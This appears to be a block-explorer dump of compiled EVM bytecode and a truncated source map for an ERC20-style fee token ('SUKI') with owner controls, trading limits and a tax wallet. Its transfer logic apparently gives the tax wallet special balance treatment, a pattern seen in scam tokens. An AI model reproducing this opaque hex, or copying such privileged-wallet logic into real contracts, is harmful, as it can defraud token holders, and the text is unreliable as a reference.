5b348015610279575f80fd5b506101d6610596565b34801561028d575f80fd5b506101a0600c5481565b3480156102a2575f80fd5b506101d6610647565b3480156102b6575f80fd5b505f546040516001600160a01b039091168152602001610153565b3480156102dc575f80fd5b506101a0600d5481565b3480156102f1575f80fd5b5060408051808201909152600481526353554b4960e01b6020820152610146565b34801561031d575f80fd5b5061017b61032c366004611696565b6109ec565b34801561033c575f80fd5b506101a0600e5481565b348015610351575f80fd5b506101a0610360366004611719565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103963384846109f8565b5060015b92915050565b5f6103ad6009600a611844565b6103bb90630bebc200611852565b905090565b5f546001600160a01b031633146103f25760405162461bcd60e51b81526004016103e990611869565b60405180910390fd5b5f47116104415760405162461bcd60e51b815260206004820152601960248201527f546f6b656e3a206e6f2045544820746f207472616e736665720000000000000060448201526064016103e9565b60405133904780156108fc02915f818181858888f1935050505015801561046a573d5f803e3d5ffd5b50565b5f610479848484610b1c565b6104ca84336104c5856040518060600160405280602881526020016119e6602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110a4565b6109f8565b5060019392505050565b6010546001600160a01b0316336001600160a01b0316146104f3575f80fd5b305f90815260016020526040902054801561051157610511816110dc565b4780156105215761052181611243565b5050565b5f546001600160a01b0316331461054e5760405162461bcd60e51b81526004016103e990611869565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105bf5760405162461bcd60e51b81526004016103e990611869565b6105cb6009600a611844565b6105d990630bebc200611852565b600c556105e86009600a611844565b6105f690630bebc200611852565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106266009600a611844565b61063490630bebc200611852565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106705760405162461bcd60e51b81526004016103e990611869565b601254600160a01b900460ff16156106ca5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e9565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107139030906107056009600a611844565b6104c590630bebc200611852565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610763573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610787919061189e565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080a919061189e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610854573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610878919061189e565b601280546001600160a81b0319166001600160a01b0392831617600160a01b1790556011541663f305d71947306108c3816001600160a01b03165f9081526001602052604090205490565b5f806108d65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561093c573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061096191906118b9565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109da91906118e4565b506014805461ff001916610100179055565b5f610396338484610b1c565b6001600160a01b038316610a5a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e9565b6001600160a01b038216610abb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e9565b6001600160a01b038216610be25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e9565b5f8111610c435760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e9565b601254600160a01b900460ff161580610c5e575060145460ff165b15610c7357610c6e83838361127a565b505050565b5f80546001600160a01b03858116911614801590610c9e57505f546001600160a01b03848116911614155b8015610cb857506010546001600160a01b03848116911614155b15610f0757610ce96064610ce3600854600b5411610cd857600454610cdc565b6006545b859061131d565b906113a2565b6012549091506001600160a01b038581169116148015610d1757506011546001600160a01b03848116911614155b8015610d3b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e2157600c54821115610d925760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103e9565b600d5482610db4856001600160a01b03165f9081526001602052604090205490565b610dbe9190611903565b1115610e0c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e9565b600b8054905f610e1b83611916565b91905055505b6012546001600160a01b038481169116148015610e4757506001600160a01b0384163014155b15610e7457610e716064610ce3600954600b5411610e6757600554610cdc565b600754859061131d565b90505b305f9081526001602052604090205460145460ff168015610ea257506012546001600160a01b038581169116145b8015610eb55750601454610100900460ff165b8015610ec25750600e5481115b8015610ed15750600a54600b54115b15610f0557610ef3610eee84610ee984600f546113e3565b6113e3565b6110dc565b478015610f0357610f0347611243565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f4457506001600160a01b0383165f9081526003602052604090205460ff165b8015610f5957506001600160a01b0384163014155b8015610f6e57506001600160a01b0383163014155b15610f7857436013555b6001600160a01b0384165f9081526003602052604090205460ff16158015610fb857506001600160a01b0383165f9081526003602052604090205460ff16155b15611092576012546001600160a01b039081169084160361100a576001600160a01b0384165f9081526016602052604090206013548154610ff9919061192e565b600282015542600190910155611092565b6001600160a01b038084165f908152601660205260409020601254909186811691160361105e57805461105957600a54600b54111561104b57438155611090565b61105660014361192e565b81555b611090565b6001600160a01b0385165f90815260166020526040902081541580611084575081548154105b1561108e57805482555b505b505b61109e848484846113f7565b50505050565b5f81848411156110c75760405162461bcd60e51b81526004016103e9919061164d565b505f6110d3848661192e565b95945050505050565b6014805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061111c5761111c611941565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611173573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611197919061189e565b816001815181106111aa576111aa611941565b6001600160a01b0392831660209182029290920101526011546111d091309116846109f8565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112089085905f90869030904290600401611955565b5f604051808303815f87803b15801561121f575f80fd5b505af1158015611231573d5f803e3d5ffd5b50506014805460ff1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610521573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461129c9082611421565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546112ca9082611462565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b0f9085815260200190565b5f825f0361132c57505f61039a565b5f6113378385611852565b90508261134485836119c6565b1461139b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e9565b9392505050565b5f61139b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c0565b5f8183116113f1578261139b565b50919050565b5f6114038584846114ec565b905061141a8585836114158787611421565b61159c565b5050505050565b5f61139b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a4565b5f8061146e8385611903565b90508381101561139b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e9565b5f81836114e05760405162461bcd60e51b81526004016103e9919061164d565b505f6110d384866119c6565b6010545f9081906001600160a01b039081169086160361151857601554611513908561131d565b61151a565b835b9050821561159457305f9081526001602052604090205461153b9084611462565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061158b9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546115be9083611421565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546115ec9082611462565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061163f9085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461046a575f80fd5b5f80604083850312156116a7575f80fd5b82356116b281611682565b946020939093013593505050565b5f805f606084860312156116d2575f80fd5b83356116dd81611682565b925060208401356116ed81611682565b929592945050506040919091013590565b5f6020828403121561170e575f80fd5b813561139b81611682565b5f806040838503121561172a575f80fd5b823561173581611682565b9150602083013561174581611682565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561179e57815f190482111561178457611784611750565b8085161561179157918102915b93841c9390800290611769565b509250929050565b5f826117b45750600161039a565b816117c057505f61039a565b81600181146117d657600281146117e0576117fc565b600191505061039a565b60ff8411156117f1576117f1611750565b50506001821b61039a565b5060208310610133831016604e8410600b841016171561181f575081810a61039a565b6118298383611764565b805f190482111561183c5761183c611750565b029392505050565b5f61139b60ff8416836117a6565b808202811582820484141761039a5761039a611750565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118ae575f80fd5b815161139b81611682565b5f805f606084860312156118cb575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118f4575f80fd5b8151801515811461139b575f80fd5b8082018082111561039a5761039a611750565b5f6001820161192757611927611750565b5060010190565b8181038181111561039a5761039a611750565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119a55784516001600160a01b031683529383019391830191600101611980565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119e057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f66a3d01ccfc6e6fd82e81e202a3ebb9bdca075d09cbd04b81c76f442b45efe664736f6c63430008190033

Deployed Bytecode Sourcemap

4170:10113:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6098:83;;;;;;;;;;-1:-1:-1;6168:5:0;;;;;;;;;;;;-1:-1:-1;;;6168:5:0;;;;6098:83;;;;;;;:::i;:::-;;;;;;;;6931:161;;;;;;;;;;-1:-1:-1;6931:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6931:161:0;893:187:1;5150:51:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;5150:51:0;1085:177:1;6375:95:0;;;;;;;;;;;;;:::i;12759:184::-;;;;;;;;;;;;;:::i;:::-;;7100:350;;;;;;;;;;-1:-1:-1;7100:350:0;;;;;:::i;:::-;;:::i;6284:83::-;;;;;;;;;;-1:-1:-1;6284:83:0;;4785:1;1870:36:1;;1858:2;1843:18;6284:83:0;1728:184:1;13218:348:0;;;;;;;;;;;;;:::i;6478:119::-;;;;;;;;;;-1:-1:-1;6478:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6571:18:0;6544:7;6571:18;;;:9;:18;;;;;;;6478:119;3249:150;;;;;;;;;;;;;:::i;12951:159::-;;;;;;;;;;;;;:::i;4966:52::-;;;;;;;;;;;;;;;;13574:669;;;;;;;;;;;;;:::i;3033:79::-;;;;;;;;;;-1:-1:-1;3071:7:0;3098:6;3033:79;;-1:-1:-1;;;;;3098:6:0;;;2315:51:1;;2303:2;2288:18;3033:79:0;2169:203:1;5025:54:0;;;;;;;;;;;;;;;;6189:87;;;;;;;;;;-1:-1:-1;6261:7:0;;;;;;;;;;;;-1:-1:-1;;;6261:7:0;;;;6189:87;;6605:167;;;;;;;;;;-1:-1:-1;6605:167:0;;;;;:::i;:::-;;:::i;5086:57::-;;;;;;;;;;;;;;;;6780:143;;;;;;;;;;-1:-1:-1;6780:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6888:18:0;;;6861:7;6888:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6780:143;6931:161;7006:4;7023:39;653:10;7046:7;7055:6;7023:8;:39::i;:::-;-1:-1:-1;7080:4:0;6931:161;;;;;:::o;6375:95::-;6428:7;4840:13;4785:1;4840:2;:13;:::i;:::-;4828:25;;:9;:25;:::i;:::-;6448:14;;6375:95;:::o;12759:184::-;3161:6;;-1:-1:-1;;;;;3161:6:0;653:10;3161:22;3152:69;;;;-1:-1:-1;;;3152:69:0;;;;;;;:::i;:::-;;;;;;;;;12842:1:::1;12818:21;:25;12810:63;;;::::0;-1:-1:-1;;;12810:63:0;;5015:2:1;12810:63:0::1;::::0;::::1;4997:21:1::0;5054:2;5034:18;;;5027:30;5093:27;5073:18;;;5066:55;5138:18;;12810:63:0::1;4813:349:1::0;12810:63:0::1;12884:51;::::0;12892:10:::1;::::0;12913:21:::1;12884:51:::0;::::1;;;::::0;::::1;::::0;;;12913:21;12892:10;12884:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12759:184::o:0;7100:350::-;7198:4;7215:36;7225:6;7233:9;7244:6;7215:9;:36::i;:::-;7262:158;7285:6;653:10;7320:89;7358:6;7320:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7320:19:0;;;;;;:11;:19;;;;;;;;653:10;7320:33;;;;;;;;;;:37;:89::i;:::-;7262:8;:158::i;:::-;-1:-1:-1;7438:4:0;7100:350;;;;;:::o;13218:348::-;13282:10;;-1:-1:-1;;;;;13282:10:0;653;-1:-1:-1;;;;;13268:24:0;;13260:33;;;;;;13343:4;13304:20;6571:18;;;:9;:18;;;;;;13363:14;;13360:73;;13391:30;13408:12;13391:16;:30::i;:::-;13462:21;13497:12;;13494:65;;13523:24;13536:10;13523:12;:24::i;:::-;13249:317;;13218:348::o;3249:150::-;3161:6;;-1:-1:-1;;;;;3161:6:0;653:10;3161:22;3152:69;;;;-1:-1:-1;;;3152:69:0;;;;;;;:::i;:::-;3356:1:::1;3340:6:::0;;3319:40:::1;::::0;-1:-1:-1;;;;;3340:6:0;;::::1;::::0;3319:40:::1;::::0;3356:1;;3319:40:::1;3389:1;3372:19:::0;;-1:-1:-1;;;;;;3372:19:0::1;::::0;;3249:150::o;12951:159::-;3161:6;;-1:-1:-1;;;;;3161:6:0;653:10;3161:22;3152:69;;;;-1:-1:-1;;;3152:69:0;;;;;;;:::i;:::-;4840:13:::1;4785:1;4840:2;:13;:::i;:::-;4828:25;::::0;:9:::1;:25;:::i;:::-;13004:12;:22:::0;4840:13:::1;4785:1;4840:2;:13;:::i;:::-;4828:25;::::0;:9:::1;:25;:::i;:::-;13037:14;:22:::0;13075:27:::1;4840:13;4785:1;4840:2;:13;:::i;:::-;4828:25;::::0;:9:::1;:25;:::i;:::-;13075:27;::::0;1231:25:1;;;1219:2;1204:18;13075:27:0::1;;;;;;;12951:159::o:0;13574:669::-;3161:6;;-1:-1:-1;;;;;3161:6:0;653:10;3161:22;3152:69;;;;-1:-1:-1;;;3152:69:0;;;;;;;:::i;:::-;13640:11:::1;::::0;-1:-1:-1;;;13640:11:0;::::1;;;13639:12;13631:47;;;::::0;-1:-1:-1;;;13631:47:0;;5369:2:1;13631:47:0::1;::::0;::::1;5351:21:1::0;5408:2;5388:18;;;5381:30;5447:25;5427:18;;;5420:53;5490:18;;13631:47:0::1;5167:347:1::0;13631:47:0::1;13689:15;:80:::0;;-1:-1:-1;;;;;;13689:80:0::1;13726:42;13689:80:::0;;::::1;::::0;;;13780:57:::1;::::0;13797:4:::1;::::0;4840:13:::1;4785:1;4840:2;:13;:::i;:::-;4828:25;::::0;:9:::1;:25;:::i;13780:57::-;13882:15;;;;;;;;;-1:-1:-1::0;;;;;13882:15:0::1;-1:-1:-1::0;;;;;13882:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13864:55:0::1;;13928:4;13934:15;;;;;;;;;-1:-1:-1::0;;;;;13934:15:0::1;-1:-1:-1::0;;;;;13934:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13864:93;::::0;-1:-1:-1;;;;;;13864:93:0::1;::::0;;;;;;-1:-1:-1;;;;;6005:15:1;;;13864:93:0::1;::::0;::::1;5987:34:1::0;6057:15;;6037:18;;;6030:43;5922:18;;13864:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13848:13;:109:::0;;-1:-1:-1;;;;;;13968:17:0;-1:-1:-1;;;;;13848:109:0;;::::1;13968:17:::0;-1:-1:-1;;;13968:17:0::1;::::0;;13996:15:::1;::::0;::::1;:31;14035:21;14066:4;14072:24;14066:4:::0;-1:-1:-1;;;;;6571:18:0;6544:7;6571:18;;;:9;:18;;;;;;;6478:119;14072:24:::1;14097:1;14099::::0;14101:7:::1;3071::::0;3098:6;-1:-1:-1;;;;;3098:6:0;;3033:79;14101:7:::1;13996:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13996:129:0;;;-1:-1:-1;;;;;6443:15:1;;;13996:129:0::1;::::0;::::1;6425:34:1::0;6475:18;;;6468:34;;;;6518:18;;;6511:34;;;;6561:18;;;6554:34;6625:15;;;6604:19;;;6597:44;14109:15:0::1;6657:19:1::0;;;6650:35;6359:19;;13996:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;14143:13:0::1;::::0;14174:15:::1;::::0;14136:71:::1;::::0;-1:-1:-1;;;14136:71:0;;-1:-1:-1;;;;;14174:15:0;;::::1;14136:71;::::0;::::1;7181:51:1::0;-1:-1:-1;;7248:18:1;;;7241:34;14143:13:0;::::1;::::0;-1:-1:-1;14136:29:0::1;::::0;7154:18:1;;14136:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;14218:11:0::1;:17:::0;;-1:-1:-1;;14218:17:0::1;;;::::0;;13574:669::o;6605:167::-;6683:4;6700:42;653:10;6724:9;6735:6;6700:9;:42::i;7458:335::-;-1:-1:-1;;;;;7551:19:0;;7543:68;;;;-1:-1:-1;;;7543:68:0;;7770:2:1;7543:68:0;;;7752:21:1;7809:2;7789:18;;;7782:30;7848:34;7828:18;;;7821:62;-1:-1:-1;;;7899:18:1;;;7892:34;7943:19;;7543:68:0;7568:400:1;7543:68:0;-1:-1:-1;;;;;7630:21:0;;7622:68;;;;-1:-1:-1;;;7622:68:0;;8175:2:1;7622:68:0;;;8157:21:1;8214:2;8194:18;;;8187:30;8253:34;8233:18;;;8226:62;-1:-1:-1;;;8304:18:1;;;8297:32;8346:19;;7622:68:0;7973:398:1;7622:68:0;-1:-1:-1;;;;;7701:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7753:32;;1231:25:1;;;7753:32:0;;1204:18:1;7753:32:0;;;;;;;;7458:335;;;:::o;8112:3063::-;-1:-1:-1;;;;;8205:18:0;;8197:68;;;;-1:-1:-1;;;8197:68:0;;8578:2:1;8197:68:0;;;8560:21:1;8617:2;8597:18;;;8590:30;8656:34;8636:18;;;8629:62;-1:-1:-1;;;8707:18:1;;;8700:35;8752:19;;8197:68:0;8376:401:1;8197:68:0;-1:-1:-1;;;;;8284:16:0;;8276:64;;;;-1:-1:-1;;;8276:64:0;;8984:2:1;8276:64:0;;;8966:21:1;9023:2;9003:18;;;8996:30;9062:34;9042:18;;;9035:62;-1:-1:-1;;;9113:18:1;;;9106:33;9156:19;;8276:64:0;8782:399:1;8276:64:0;8373:1;8359:11;:15;8351:69;;;;-1:-1:-1;;;8351:69:0;;9388:2:1;8351:69:0;;;9370:21:1;9427:2;9407:18;;;9400:30;9466:34;9446:18;;;9439:62;-1:-1:-1;;;9517:18:1;;;9510:39;9566:19;;8351:69:0;9186:405:1;8351:69:0;8439:11;;-1:-1:-1;;;8439:11:0;;;;8437:13;;:23;;-1:-1:-1;8454:6:0;;;;8437:23;8433:114;;;8477:37;8492:4;8498:2;8502:11;8477:14;:37::i;:::-;8112:3063;;;:::o;8433:114::-;8559:17;3098:6;;-1:-1:-1;;;;;8593:15:0;;;3098:6;;8593:15;;;;:32;;-1:-1:-1;3071:7:0;3098:6;-1:-1:-1;;;;;8612:13:0;;;3098:6;;8612:13;;8593:32;:51;;;;-1:-1:-1;8634:10:0;;-1:-1:-1;;;;;8629:15:0;;;8634:10;;8629:15;;8593:51;8589:1259;;;8675:100;8771:3;8675:73;8703:15;;8692:9;;:26;8691:56;;8733:14;;8691:56;;;8720:12;;8691:56;8675:11;;:15;:73::i;:::-;:95;;:100::i;:::-;8804:13;;8663:112;;-1:-1:-1;;;;;;8796:21:0;;;8804:13;;8796:21;:54;;;;-1:-1:-1;8834:15:0;;-1:-1:-1;;;;;8821:29:0;;;8834:15;;8821:29;;8796:54;:71;;;;-1:-1:-1;;;;;;8856:11:0;;;;;;:7;:11;;;;;;;;8854:13;8796:71;8792:309;;;8911:12;;8896:11;:27;;8888:65;;;;-1:-1:-1;;;8888:65:0;;9798:2:1;8888:65:0;;;9780:21:1;9837:2;9817:18;;;9810:30;9876:27;9856:18;;;9849:55;9921:18;;8888:65:0;9596:349:1;8888:65:0;9010:14;;8996:11;8980:13;8990:2;-1:-1:-1;;;;;6571:18:0;6544:7;6571:18;;;:9;:18;;;;;;;6478:119;8980:13;:27;;;;:::i;:::-;:44;;8972:83;;;;-1:-1:-1;;;8972:83:0;;10282:2:1;8972:83:0;;;10264:21:1;10321:2;10301:18;;;10294:30;10360:28;10340:18;;;10333:56;10406:18;;8972:83:0;10080:350:1;8972:83:0;9074:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8792:309;9124:13;;-1:-1:-1;;;;;9120:17:0;;;9124:13;;9120:17;:41;;;;-1:-1:-1;;;;;;9141:20:0;;9156:4;9141:20;;9120:41;9117:178;;;9194:85;9275:3;9194:76;9222:16;;9211:9;;:27;9210:59;;9254:15;;9210:59;;;9240:13;;9194:11;;:15;:76::i;:85::-;9182:97;;9117:178;9358:4;9311:28;6571:18;;;:9;:18;;;;;;9383:6;;;;:29;;;;-1:-1:-1;9399:13:0;;-1:-1:-1;;;;;9393:19:0;;;9399:13;;9393:19;9383:29;:44;;;;-1:-1:-1;9416:11:0;;;;;;;9383:44;:88;;;;;9454:17;;9432:20;:39;9383:88;:138;;;;;9503:18;;9492:9;;:29;9383:138;9379:458;;;9556:74;9573:56;9577:11;9590:38;9594:20;9616:11;;9590:3;:38::i;:::-;9573:3;:56::i;:::-;9556:16;:74::i;:::-;9678:21;9722:20;;9718:104;;9767:35;9780:21;9767:12;:35::i;:::-;9537:300;9379:458;8648:1200;8589:1259;-1:-1:-1;;;;;9865:13:0;;;;;;:7;:13;;;;;;;;;:27;;-1:-1:-1;;;;;;9881:11:0;;;;;;:7;:11;;;;;;;;9865:27;9864:54;;;;-1:-1:-1;;;;;;9898:20:0;;9913:4;9898:20;;9864:54;:76;;;;-1:-1:-1;;;;;;9922:18:0;;9935:4;9922:18;;9864:76;9860:132;;;9968:12;9957:8;:23;9860:132;-1:-1:-1;;;;;10008:13:0;;;;;;:7;:13;;;;;;;;10006:15;:33;;;;-1:-1:-1;;;;;;10028:11:0;;;;;;:7;:11;;;;;;;;10026:13;10006:33;10002:1108;;;10065:13;;-1:-1:-1;;;;;10065:13:0;;;10059:19;;;;10055:1044;;-1:-1:-1;;;;;10136:21:0;;10100:33;10136:21;;;:15;:21;;;;;10211:8;;10193:17;;:26;;10211:8;10193:26;:::i;:::-;10176:14;;;:43;10262:15;10238:21;;;;:39;10055:1044;;;-1:-1:-1;;;;;10358:19:0;;;10318:37;10358:19;;;:15;:19;;;;;10400:13;;10358:19;;10400:21;;;:13;;:21;10396:688;;10453:21;;10447:318;;10522:18;;10512:9;;:28;10508:234;;;10597:12;10573:36;;10396:688;;10508:234;10698:16;10713:1;10698:12;:16;:::i;:::-;10674:40;;10508:234;10396:688;;;-1:-1:-1;;;;;10849:21:0;;10813:33;10849:21;;;:15;:21;;;;;10899;;:25;;10897:73;;-1:-1:-1;10949:21:0;;10929:17;;:41;10897:73;10893:172;;;11024:17;;11000:41;;10893:172;10790:294;10396:688;10299:800;10055:1044;11122:45;11137:4;11142:2;11145:11;11157:9;11122:14;:45::i;:::-;8186:2989;8112:3063;;;:::o;1859:190::-;1945:7;1981:12;1973:6;;;;1965:29;;;;-1:-1:-1;;;1965:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2005:9:0;2017:5;2021:1;2017;:5;:::i;:::-;2005:17;1859:190;-1:-1:-1;;;;;1859:190:0:o;12268:483::-;5744:6;:13;;-1:-1:-1;;5744:13:0;5753:4;5744:13;;;12370:16:::1;::::0;;12384:1:::1;12370:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12370:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12370:16:0::1;12346:40;;12415:4;12397;12402:1;12397:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12397:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12441:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12441:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12397:7;;12441:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12431:4;12436:1;12431:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12431:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12506:15:::1;::::0;12474:62:::1;::::0;12491:4:::1;::::0;12506:15:::1;12524:11:::0;12474:8:::1;:62::i;:::-;12547:15;::::0;:196:::1;::::0;-1:-1:-1;;;12547:196:0;;-1:-1:-1;;;;;12547:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12628:11;;12547:15:::1;::::0;12670:4;;12697::::1;::::0;12717:15:::1;::::0;12547:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5780:6:0;:14;;-1:-1:-1;;5780:14:0;;;-1:-1:-1;;;;12268:483:0:o;13118:92::-;13175:10;;:27;;-1:-1:-1;;;;;13175:10:0;;;;:27;;;;;13195:6;;13175:10;:27;:10;:27;13195:6;13175:10;:27;;;;;;;;;;;;;;;;;;;11183:251;-1:-1:-1;;;;;11292:15:0;;;;;;:9;:15;;;;;;:32;;11312:11;11292:19;:32::i;:::-;-1:-1:-1;;;;;11274:15:0;;;;;;;:9;:15;;;;;;:50;;;;11350:13;;;;;;;:30;;11368:11;11350:17;:30::i;:::-;-1:-1:-1;;;;;11335:13:0;;;;;;;:9;:13;;;;;;;:45;;;;11396:30;;;;;;;;;;11414:11;1231:25:1;;1219:2;1204:18;;1085:177;2057:283:0;2115:7;2139:1;2144;2139:6;2135:47;;-1:-1:-1;2169:1:0;2162:8;;2135:47;2192:9;2204:5;2208:1;2204;:5;:::i;:::-;2192:17;-1:-1:-1;2251:1:0;2242:5;2246:1;2192:17;2242:5;:::i;:::-;:10;2220:93;;;;-1:-1:-1;;;2220:93:0;;12381:2:1;2220:93:0;;;12363:21:1;12420:2;12400:18;;;12393:30;12459:34;12439:18;;;12432:62;-1:-1:-1;;;12510:18:1;;;12503:31;12551:19;;2220:93:0;12179:397:1;2220:93:0;2331:1;2057:283;-1:-1:-1;;;2057:283:0:o;2348:132::-;2406:7;2433:39;2437:1;2440;2433:39;;;;;;;;;;;;;;;;;:3;:39::i;12161:99::-;12218:7;12246:1;12244;:3;12243:9;;12251:1;12243:9;;;-1:-1:-1;12249:1:0;12161:99;-1:-1:-1;12161:99:0:o;11442:284::-;11576:15;11594:47;11612:4;11618:11;11631:9;11594:17;:47::i;:::-;11576:65;-1:-1:-1;11652:66:0;11672:4;11678:2;11576:65;11691:26;:11;11707:9;11691:15;:26::i;:::-;11652:19;:66::i;:::-;11565:161;11442:284;;;;:::o;1691:160::-;1749:7;1776:67;1794:1;1797;1776:67;;;;;;;;;;;;;;;;;:3;:67::i;1481:202::-;1539:7;;1571:5;1575:1;1571;:5;:::i;:::-;1559:17;;1614:1;1609;:6;;1587:69;;;;-1:-1:-1;;;1587:69:0;;12783:2:1;1587:69:0;;;12765:21:1;12822:2;12802:18;;;12795:30;12861:29;12841:18;;;12